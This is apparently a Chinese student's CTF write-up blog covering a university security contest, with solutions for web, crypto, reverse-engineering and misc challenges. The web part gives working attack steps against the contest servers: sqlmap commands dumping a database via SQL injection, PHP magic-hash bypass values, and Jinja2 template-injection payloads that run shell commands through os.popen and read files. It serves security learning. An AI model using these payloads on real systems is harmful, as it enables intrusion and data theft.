前言

最近学校组织了首届信息安全竞赛,由β-house 的两位信息安全方向的大佬负责出题,时间持续 32 个小时。比赛的形式是线上,我刚好看到了这个讯息,所以路过式参加了比赛。最后的结果是拿了一个第九名,校一等奖。主办方要求前十名要提交完成题目的 Write up,所以就有了这篇博客。

CTF

这边介绍一下什么是 CTF。CTF(Capture The Flag) 也称作夺旗赛,是网络安全技术人员之间进行技术竞技的一种比赛形式。本次比赛采用解题模式(Jeopardy),是一种使用互联网或者去现场参与,通过与在线环境交互或文件离线分析,解决网络安全技术挑战获取相应分值,最后根据总分和时间来排名的模式。解题模式题目类型一般包含五个类别:

  1. Web(网络攻防)
  2. Crypto(密码攻击)
  3. Re(逆向工程)
  4. Pwn(二进制漏洞利用)
  5. Misc(安全杂项)

下面我分享一下我的 Write up

Web

签到 1

签到1

签到 1 的题目,就是复制粘贴的事情,把 flag 的值提交即可。

签到 2

签到2

打开网页后发现这个题目的 flag 是由两部分组成,第一部分留在注释里,第二部分看上去是需要提交才能获得。众所周知,我校是浙江省校名最长的,我就有一些敏感了,看到<input>标签中有一个maxlength="7”的属性,把 7 修改为 20 即可正常提交。所以说,由前端控制的安全策略,终究是不安全的,一定需要后台配合再对值进行一遍判断。正确提交之后就能得到剩下部分的 flag。

口算小天才

口算小天才

粗略一看,反正我是不能在 1~3 秒钟内计算出这个口算题。侥幸用计算器完成了一次回答,但它回答成功的次数并不是累计的,而是需要不停地做,一刷新就重新回到 0 个问题,所以使用计算器的方法失败了。计算机最擅长的部分就是计算,所以我准备采用爬虫的形式去计算。给出网页部分代码:

1
2
3
4
5
<form action="" method="post">
<span>118-861=</span>
<input type="text" name="ans">
<input type="submit" value="send!">
</form>

可以观察到,我们需要获取到<span>标签中的内容并计算答案由<form>表单提交,这里用到的是 Python 中的 requestsrequests_html 的库,但是并没有采用这种方法,因为我觉得构造表单比较麻烦,给出获取计算答案的代码:

;;;id1 方法一
:::info
Requests 方法
:::

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import time
import requests
from requests_html import HTMLSession

session = HTMLSession()

url = '' # URL 地址
r = session.get(url)

while True:
time.sleep(1) # 防止请求太快提示 "too fast"
ans = eval(r.html.find('span')[0].text.replace('=', '')) # 用 requests_html 的方法进行元素的搜索
r = session.post(url, data={'ans': ans})
if(r.text.find("ctf")!=-1):
break;

print(r.text) # 输出 flag 内容

;;;

;;;id1 方法二
:::info
Selenium 方法
:::

1
2
3
4
5
6
7
8
9
10
11
import time
from selenium import webdriver
driver = webdriver.Chrome() # Chrome 是 webdriver 的子类,还有 Firefox()等
url = '' # URL地址
driver.get(url)
count = 0
while count < 20:
time.sleep(0.5)
element = driver.find_element_by_tag_name('span') # 注意 find_element 返回第一个符合的元素
ans_input = driver.find_element_by_tag_name('input')
ans = eval(element.text.replace('=', ''))

;;;

刚好这个学期开始了软件测试的学习,所以换用了 Selenium 的方案。Selenium 是一个浏览器自动化测试框架,用人话说就是可以模拟浏览器的行为,思路就是让浏览器自动计算并自动提交。分析了一下大概需要 20 次计算,但是在第一次运行的时候,系统提示操作太快了,所以每次等待 1 秒钟的时间。

Selenium

可以看到 Chrome 正受到自动测试软件的控制,自动答题

easy php

easy php

以前在使用 Vim 的时候就知道它会产生一个为 .swp 的临时文件,果不其然,在访问index.php.swp的时候得到了以下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
header("content-type:text/html;charset=utf-8");
$a = @$_GET['a'];
$b = @$_GET['b'];
$c = @$_GET['c'];
$a_md5 = @md5($a);
$b_md5 = @md5($b);
if(isset($a) && isset($b)){
if ($a != $b && $a_md5 == $b_md5) {
if (($c<9999999999 || (string)$c>0)==false) {
echo "xgctf{xxxxxxx}";
}
else {
echo "Sorry, just think more";
}
} else {
echo "Sorry, you are wrong";
}
}
else{
echo "杩欐槸绗竴涓垜鐢╲im鍐欑殑缃戠珯鍝�";
}
?>

PHP 中的常规操作,要求变量值原值不同但 md5 值或者 sha1 值相同,PHP 在处理这些值得时候,会把以 0E 开头的值都解释为 0,所以我们的目标就是找到 md5 值是以 0E 开头的,我用的 payload 是 a=QNKCDZOb=240610708。这样 a 和 b 的值就解决了。下一步是要考虑 c 的问题,这里使用数组即可绕过,我用的是 c=[]。值得一提的是,一开始我用的是由 requests 来构造请求,后面发现一直卡在 c 的问题,应该是 Python 中的列表与 PHP 中的数组并不一致造成的,直接用使用 URL 传值即可。

这题再记录一下用到的其他工具:目录扫描工具 dirsearch 和 .DS_Store 文件漏洞利用工具 ds_store_exp

dirsearch

可以看到一些我们可以获取到的目录,也正是这个.DS_Store让我觉得可能还有其他的解法,.DS_Store是 macOS 下生成的,每个文件夹下对应一个,但是如果把它上传到线上环境,就有可能造成文件目录结构的泄露,甚至源代码文件。

ds_store_exp

这个时候我们就发现了之前使用 dirsearch没有搜到的 index.php.swp,此时它已经下载到本地了。

录取查询

录取查询

给了一个姓名和一个考生号,想也没想,应该是 SQL 注入吧。Burp 启动!什么,不知道 Burp?没关系,接下来就知道了,它长这样:

Burp

它是一个用于攻击 Web 应用程序的集成平台,这里先正常的进行一次 POST 请求,并把它拦截下来,右键 Copy to file。接下来就 sqlmap 启动!sqlmap是一个开源的渗透测试工具,利用 SQL 注入漏洞,获取数据库服务器的权限。这边提到了 SQL 注入顺便解释一下,使用工具前也要知道一些原理。简单地说,SQL 注入就是服务器执行了恶意的 SQL 命令,一般通过输入框,比如这题目中的姓名与考生号。可以采用'or 1=1#简单判断有无注入点。

1
2
3
4
5
6
>>>./sqlmap.py -r ../aaa.txt --dbs # ../aaa.txt 是刚刚 burp 中保存的
available databases [4]:
[*] information_schema
[*] mysql
[*] school
[*] test

这里我们已经可以发现数据库可以被注入,并且已经成功获取到了数据库的名字,flag 应该是存在school这个数据库当中。

1
2
3
4
5
6
7
>>>./sqlmap.py -r ../aaa.txt -D school --tables # 查看 school 数据库中的所有表
Database: school
[2 tables]
+-------+
| flag |
| users |
+-------+

这个时候,我们猜测 flag 应该存在 flag 表中。最后一步就是显示 flag 表中的内容:

1
2
3
4
5
6
7
8
9
>>>./sqlmap.py -r ../aaa.txt --dump -D school -T flag
Database: school
Table: flag
[1 entry]
+-----------------------------+
| flag |
+-----------------------------+
| xgctf{EasyySql_Inj_Ho0o0oo} |
+-----------------------------+

我爱 Python

我真的爱。

我爱 Python

打开之后只有一个输入框,Python 是一种解释型、面向对象、动态数据类型的高级程序设计语言,它可以用于编写 Web 的后台,常用的框架有 DjangoFlask。因为之前跟两位大佬一起打过 CTF 的比赛,猜测使用 Flask 写的。因为写过 Django 的原因,Django 的内容是可以用 {{内容}} 来进行渲染的,随便输入了 {{1*2}} 之后得到:

Hello 2

猜测存在服务端模板注入的漏洞。在 Python 中的 Object 类中集成了很多基础函数,所以在网路上找了一个 payload {{().__class__.__bases__[0].__subclasses__()}},得到了很多可用的子类,比如 file 等。

众所周知,面向对象的三大特性是:封装、继承、多态。我们想要的模块是 os,来查看文件目录结构,查阅了资料,访问os模块可以从 warnings.catch_warnings 下手,给出 payload 如下:

{{().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['popen']('l'+'s').read()}}

os

此时我们已经成功获取到了当前的文件目录,只需要利用之前的file进行读取即可。由于本题没有限制关键字,所以不需要拼接字符串,给出 payload:

{{().__class__.__bases__[0].__subclasses__()[40]('fl'+'ag').read()}}

Crypto

easy crypto

easy crypto

这边先推荐两个常用的在线工具箱,程序员的工具箱CTF在线工具,这应该也算签到题,最后两个等号可以考虑base64。解码之后得到ktpgs{onfr_64_naq_e0g_13},因为提交格式为xgctf{…},盲猜凯撒密码,在CTF在线工具中的凯撒密码工具中输入 key 13 即可获取 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 尽管最多只有只有 26 种结果,破译成本较低,但是每次如果都是手动去试 key 也是一种时间的浪费,这里提供一个暴力的脚本
def decrypt(encrypted, key):
decrypted = ''
for char in encrypted:
if char.isalpha():
num = ord(char)
num += key
if char.isupper():
if num > ord('Z'):
num -= 26
elif num < ord('A'):
num += 26
elif char.islower():
if num > ord('z'):
num -= 26
elif num < ord('a'):
num += 26
decrypted += chr(num)
else:
decrypted += char
return decrypted
if __name__ == '__main__':
encrypted = input('请输入需要暴力的内容:')
for key in range(1, 26):
print(key, decrypt(encrypted, key))

bAcOn

bAcOn

提示给了很足,培根密码。你要是说到吃的我可就不困了啊(葛优躺)。培根密码通常采用两个不同的字母和使用大小写即可,这边存在大小写,首先把所有的小写字母都变成 a,把所有的大写字母都变成 B,手动太麻烦了给出 Python 代码。再使用培根密码工具解密即可。

1
2
3
bacon = 'baCoNBacoNbaconbACoNbacOnbAconBacOnbacoNbaconbacOnbACOnbACoN'
bacon = ['a' if a.islower() else 'B' for a in bacon ]
print(''.join(bacon))

Re

给了一个 0x1.exe 的文件。拖进 ida 就完事了,但是在 macOS mojave 中 ida 持续崩溃,这边提供一个解决方案,下载libqcocoa.dylib替换/Applications/IDA Pro 7.0/ida.app/Contents/PlugIns/platforms/libqcocoa.dylib即可。由于对 ida 不太熟悉,我使用的是Hopper Disassembler,搜索flag用 base64 解码就能拿到了。

Hopper Disassmember

Pwn

弟弟

我就是个弟弟,Pwn 的题目一题也不会做,等师傅们出 Write up 了参考一波。

Misc

杂项倒是全部做出来了,主要是能够开卷的原因。

drop the beats

drop the beats

解压缩之后给了一段.wav音频资料,先拖进Audacity中,一般音频的题目可以是频谱图,或者用音的高低来表示摩斯密码,看了一下形状应该像是频谱图。

Audacity

在左边显眼的dj那里选择频谱图就可以得到 flag 了。

flag

拼东东

给了一个损坏的压缩包。应该是头尾文件的缺失。打开好伙伴 Hex Friend,根据资料发现缺少头文件,直接在头部加入 504B0304保存即可。这时候juemiziliao就能被打开了。

Hex Friend

Hello,大家好我是王刚,今天我给大家分享一道家常菜:油炸flag。首先我们把锅烧热,锅烧热之后加入宽油,然后转中小火将准备好的 flag下锅炸五分钟,这一步的目的是把 flag 炸香炸脆。炸好后即可把 flag 捞出控油,不喜欢控油的同学可以直接喝。一道非常爽脆可口的油炸flag就制作完成。下面开始油炸 flag 的技术总结:损坏的压缩包可以直接搜索一些开头和结尾标志,一般是缺少个文件头。油炸 flag 的技术总结完毕。

消失的 50 px

消失的50px

先打开首页保存 Logo,查看尺寸为 1200 × 320,在宽度上被修改了,天真地以为修改宽度就能让 flag 显示出来,结果放进 PS 里面修改宽度之后依然没有,于是想到了 Hex Friend。把图片拖进 Hex Friend,经过计算 350 的十六进制为 015E,在 Hex Friend 中搜索并修改为 400 的十六进制 0190 即可。

0190

preview

比较奇怪的是预览打不开,以为思路错了,然后不小心把它拖进了 PS 之中,就出来了。PS 大法好。

总结

虽然很少参加这类的比赛,但还是可以拓宽知识面的,信息安全已经成了未来趋势之一,在我们自己设计开发系统的时候融入安全意识,可以提早发现一些危险情况,要不然到时候被别人删库跑路了都不清楚怎么回事儿。此外这次比赛中排名不高,大家都是师傅,向师傅们多多学习。

参考资料

ctf中压缩包隐写经验总结

CTF-web 第七部分 flask模板注入 沙箱逃逸

Flask/Jinja2模板注入中的一些绕过姿势